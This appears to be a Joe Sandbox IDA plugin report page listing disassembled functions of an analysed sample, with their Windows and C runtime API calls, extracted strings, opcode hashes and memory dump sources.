Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d3eecc767cdb323512135d668c560ac3bfc61e7503b978690610e82198a2e1d5
Instruction ID: 11a69bb7a28b121598f9e9f11d39e9ecfe288ce9c180a7010a302b3ab9d25874
Opcode Fuzzy Hash: d3eecc767cdb323512135d668c560ac3bfc61e7503b978690610e82198a2e1d5
Instruction Fuzzy Hash: C0E04F32500218BBCF266F61EC09FBE3E2AFF45792F014010FD0565161EB718E26EA95

Function 00A47902 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00A4790E,00A46DA2), ref: 00A47907

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c949a6873260ce8c7a00103e08827ee035f39d94c6c98ef2b7ffa23363dfc199
Instruction ID: a888f973a9a12e6d6738e342eb31074f3b68f15c7aa9cdd699707abe3d6fa254
Opcode Fuzzy Hash: c949a6873260ce8c7a00103e08827ee035f39d94c6c98ef2b7ffa23363dfc199
Instruction Fuzzy Hash:

Function 00A6E076 Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

, xrefs: 00A6E076

Memory Dump Source

Source File: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: fcf93d1048b573919880e9e1bb46a2a956b2603f4b893bb528f1d4af9979d4f5
Instruction ID: 3d783f65e2ca62f945ab17d1d823162136ba9f88f550dbb70fb0fc98a35c1607
Opcode Fuzzy Hash: fcf93d1048b573919880e9e1bb46a2a956b2603f4b893bb528f1d4af9979d4f5
Instruction Fuzzy Hash: 86A1C774E00209DFCB18CF99D594AADBBB2FF98314F24C2A9D419AB345D734AA41DF44

Function 00A41E05 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 00A41F27

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 627934cab1a1d7aab018eafa80cc1915dc0c7ab6f1130f59729356f68c1b0c48
Instruction ID: fac9bd28d29117e8c8b8df5bb59764be36691a5203d4e9f1a092d31813ca8ac1
Opcode Fuzzy Hash: 627934cab1a1d7aab018eafa80cc1915dc0c7ab6f1130f59729356f68c1b0c48
Instruction Fuzzy Hash: 3F412B7AE1062B5BCB4CEFB8C9461AFBB64EB85350B14423ADD11DB3D1E2348A46C6D0

Function 00A5A497 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00A5A497

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: afcd7c1d48f63ff88b2c211e119de4326df6a4983038eac3ff3a6a89db729690
Instruction ID: e7e8b9b8841772177a1280f52cc3b81fc6631d0f8c7f1a3c9838d0a8466261d6
Opcode Fuzzy Hash: afcd7c1d48f63ff88b2c211e119de4326df6a4983038eac3ff3a6a89db729690
Instruction Fuzzy Hash: 96A02230203300CFA30CCF32AF0B30C3AE8BA032C23088028A00AC0230EF3080028B00

Function 00A59382 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: Process$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 529751463-0
Opcode ID: 2245f56ae2320be101acd7af3cc5ec3d9b5ff121cdf22a83750d9af1d5b31bc4
Instruction ID: da754e50937ccff35b1adb52a47426f9e9867a0e53d42dd4032927cadf3b5a33
Opcode Fuzzy Hash: 2245f56ae2320be101acd7af3cc5ec3d9b5ff121cdf22a83750d9af1d5b31bc4
Instruction Fuzzy Hash: 2CB10475500701CBDB389F25CC92ABBB3A9FB5430AF54452DED478A580FB74A98DCB10

Function 00A734C0 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cb5bb61191e0812872230152b180a7567373787bfac9b0ee99fdeb52ec2335f
Instruction ID: baeff8169d382034a2f4db5738efbecf656734bbe822c5bdd9019852fdd98b15
Opcode Fuzzy Hash: 0cb5bb61191e0812872230152b180a7567373787bfac9b0ee99fdeb52ec2335f
Instruction Fuzzy Hash: 64C100B6E00109EFDF04DFA9DD91AAEB7B6BF48300F25C158E509A7245D730EA41DB51

Function 00A69D70 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 091e1427e3561b72333947c7769f12292913d34bbb1f1d6e25e47dac100f9ea8
Instruction ID: d86ce2b9ef4543dbc8cea185b947000a8fa254369978bb1336292cae3150cdc8
Opcode Fuzzy Hash: 091e1427e3561b72333947c7769f12292913d34bbb1f1d6e25e47dac100f9ea8
Instruction Fuzzy Hash: 28711970204249ABDB08CF29C891AAA7BB2FF85354F14C12DFD198F285D239EA51DF90

Function 00A69DB2 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8033e6b9695c0e30ad0ed711361a9e4e0dc29cdb2a19eaf4cf687fa420f905e
Instruction ID: 246057afd38c19c05ede85d9e7c5fb57f9a2630139bcb07c1aeb6bfd08f57fa8
Opcode Fuzzy Hash: a8033e6b9695c0e30ad0ed711361a9e4e0dc29cdb2a19eaf4cf687fa420f905e
Instruction Fuzzy Hash: 0851F770114249AFDB08DF2DC491AA97BA2FF85354F14C16EFE198F285C238E651EF94

Function 00A57E98 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5566999e0ab72da053a8abcc3324ddc8aa4becb6fcadd465fa76c36a84b4dcdd
Instruction ID: cd7d2085c5aa2e42bd019f784155a997818e5f11f5657f0eecc12ecb6485176f
Opcode Fuzzy Hash: 5566999e0ab72da053a8abcc3324ddc8aa4becb6fcadd465fa76c36a84b4dcdd
Instruction Fuzzy Hash: D1E08C72915228EBCB14DB88DA0598EF3FCFB45B02B11049AF901E3201D270DE04C7D0

Function 00BA10F0 Relevance: .0, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d0f56101d4dfd4998445cfe8bf06aeb2319df2298bce79e41b7bac14331f64b
Instruction ID: 51b5a4dc68b5eb90ef54db803b2782b61811fa467eb69c983c7d3fe0ba83ebff
Opcode Fuzzy Hash: 7d0f56101d4dfd4998445cfe8bf06aeb2319df2298bce79e41b7bac14331f64b
Instruction Fuzzy Hash: AED092B5505719AF8B24CF4AE880896FBE8FF58264710C92EF8AD87700D231B8408FA0

Function 00A4EE4C Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a143222fbadcdda3babb2bd23adbde204d1ca1d3ff22d9f4b52ceee6d3db84ec
Instruction ID: d1c67b0818cd542d9a93c6052895cadbc31deb53579db9463b9676a31d1d2425
Opcode Fuzzy Hash: a143222fbadcdda3babb2bd23adbde204d1ca1d3ff22d9f4b52ceee6d3db84ec
Instruction Fuzzy Hash: 70C04C79141E4096CE39DA2492B37A93355B7D1B82FD419CCC9074B653C62E9C87D711

Function 00A4DB4B Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 320
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(?,?), ref: 00A4DC0D

Strings

WmE, xrefs: 00A4DB80
p4, xrefs: 00A4DF0D
W~4, xrefs: 00A4DEFE
8, xrefs: 00A4DB74
S~~, xrefs: 00A4DD09
WKE, xrefs: 00A4DBA2
4E, xrefs: 00A4DBBA
W\E, xrefs: 00A4DB91
ARPRQh, xrefs: 00A4DC9A

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: Info
String ID: ARPRQh$S~~$WKE$W\E$WmE$W~4$8$4E$p4
API String ID: 1807457897-781642612
Opcode ID: d99df6650a22a065f7e8e48f1082aaaecd499f8de4da210e77230cccddc9da88
Instruction ID: 88b66949aebb83ab4b92cd4669f55259c9cf53d905c4f8f594dbaaaa87df4d6e
Opcode Fuzzy Hash: d99df6650a22a065f7e8e48f1082aaaecd499f8de4da210e77230cccddc9da88
Instruction Fuzzy Hash: E7C1DC75D00205EFDB21DFB8C981BEEBBF5FF48310F044529E894AB282E675A945CB20

Function 00A4A3F8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 00A4A517
___TypeMatch.LIBVCRUNTIME ref: 00A4A625
_UnwindNestedFrames.LIBCMT ref: 00A4A777
CallUnexpected.LIBVCRUNTIME ref: 00A4A792

Strings

csm, xrefs: 00A4A4A2
csm, xrefs: 00A4A435
csm, xrefs: 00A4A54E

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: a05c481a9ac87c70939cc5090920ee15dbf380f3f623d21e3878003822e059ab
Instruction ID: 161086550b3a960fb823118cf53d87a6a5b1d5c4840eed8f2ca2eabd32938c2f
Opcode Fuzzy Hash: a05c481a9ac87c70939cc5090920ee15dbf380f3f623d21e3878003822e059ab
Instruction Fuzzy Hash: CAB19E79C40209EFCF25DFA4C9819AEBBB5FFA4310F15805AE811AB212D735DA51CF92

Function 00A46A8C Relevance: 12.2, APIs: 8, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,?), ref: 00A46AD5
__alloca_probe_16.LIBCMT ref: 00A46B01
MultiByteToWideChar.KERNEL32(?,?,00000000,?,00000000,00000000), ref: 00A46B40
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A46B5D
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00A46B9C
__alloca_probe_16.LIBCMT ref: 00A46BB9
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A46BFB
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00A46C1E

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 7fb48b5d40749c2ccff10981f04a245ebc8e0ed01c498fb285398cf9d8104ebe
Instruction ID: 453c0574040a935e6eec1dae92409608a7d3a4ffbc2453b16e3086cbf468c37b
Opcode Fuzzy Hash: 7fb48b5d40749c2ccff10981f04a245ebc8e0ed01c498fb285398cf9d8104ebe
Instruction Fuzzy Hash: 2751CF7AA0020AAFEB209FA0CC84FAB7BB9EF86751F104424FD04E6190D775CD51CBA1

Function 00A804E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00A804F2
int.LIBCPMTD ref: 00A80504

Part of subcall function 00A763E0: std::_Lockit::_Lockit.LIBCPMT ref: 00A763F6
Part of subcall function 00A763E0: std::_Lockit::~_Lockit.LIBCPMT ref: 00A76420

Concurrency::cancel_current_task.LIBCPMTD ref: 00A8054B
std::_Lockit::~_Lockit.LIBCPMT ref: 00A805C1

Strings

8X, xrefs: 00A804FF

Memory Dump Source

Source File: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID: 8X
API String ID: 3053331623-599188778
Opcode ID: a86c458956938ffaa2c4258c6cd1b22f0486fef75d2e9eb63c0722093b999dee
Instruction ID: 6f0b8c19c3c5bddff0a9580a2fb249ccc809e4addd3a4b2b4cbe9ab0b490fa0a
Opcode Fuzzy Hash: a86c458956938ffaa2c4258c6cd1b22f0486fef75d2e9eb63c0722093b999dee
Instruction Fuzzy Hash: DC31A8B5D00209DFCB04EF94D991AEEBBB1BF49300F108199E815A7390D734AE45DFA1

Function 00A51BBD Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800), ref: 00A51C7C

Strings

ext-ms-, xrefs: 00A51C26
api-ms-, xrefs: 00A51C12

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 497fd86b92a8b1989ab9723d37ee4cf03ab1d4ebff1fd089c32567d2e41ce38b
Instruction ID: a250e4f20b2f2f0dfbb552a5da5912afcb65b122ebe78211af9974c2a8b06934
Opcode Fuzzy Hash: 497fd86b92a8b1989ab9723d37ee4cf03ab1d4ebff1fd089c32567d2e41ce38b
Instruction Fuzzy Hash: EB212771B80311ABC725DBA4AC80B7A3768FB02763F250161ED06EB2C0D6B1EE09C6D0

Function 00A45360 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00A45367
std::_Lockit::_Lockit.LIBCPMT ref: 00A45371
int.LIBCPMT ref: 00A45388

Part of subcall function 00A416AA: std::_Lockit::_Lockit.LIBCPMT ref: 00A416BB
Part of subcall function 00A416AA: std::_Lockit::~_Lockit.LIBCPMT ref: 00A416D5

codecvt.LIBCPMT ref: 00A453AB
std::_Facet_Register.LIBCPMT ref: 00A453C2
std::_Lockit::~_Lockit.LIBCPMT ref: 00A453E2
Concurrency::cancel_current_task.LIBCPMT ref: 00A453EF

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: 1d82031e88d4a3cb37f427d1b074927a846eeb64e6b5270c66e03a1a55433178
Instruction ID: 1c627d3edf86701ee3be692a89c8006b11f33d1bf5d50075b2ace9ade2b70460
Opcode Fuzzy Hash: 1d82031e88d4a3cb37f427d1b074927a846eeb64e6b5270c66e03a1a55433178
Instruction Fuzzy Hash: 4701C07DD005159FCB05EBA4C9916ADBBB1BFC4360F244109F8016B292DFB4AE45CB91

Function 00A43C37 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00A43C3E
std::_Lockit::_Lockit.LIBCPMT ref: 00A43C48
int.LIBCPMT ref: 00A43C5F

Part of subcall function 00A416AA: std::_Lockit::_Lockit.LIBCPMT ref: 00A416BB
Part of subcall function 00A416AA: std::_Lockit::~_Lockit.LIBCPMT ref: 00A416D5

codecvt.LIBCPMT ref: 00A43C82
std::_Facet_Register.LIBCPMT ref: 00A43C99
std::_Lockit::~_Lockit.LIBCPMT ref: 00A43CB9
Concurrency::cancel_current_task.LIBCPMT ref: 00A43CC6

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
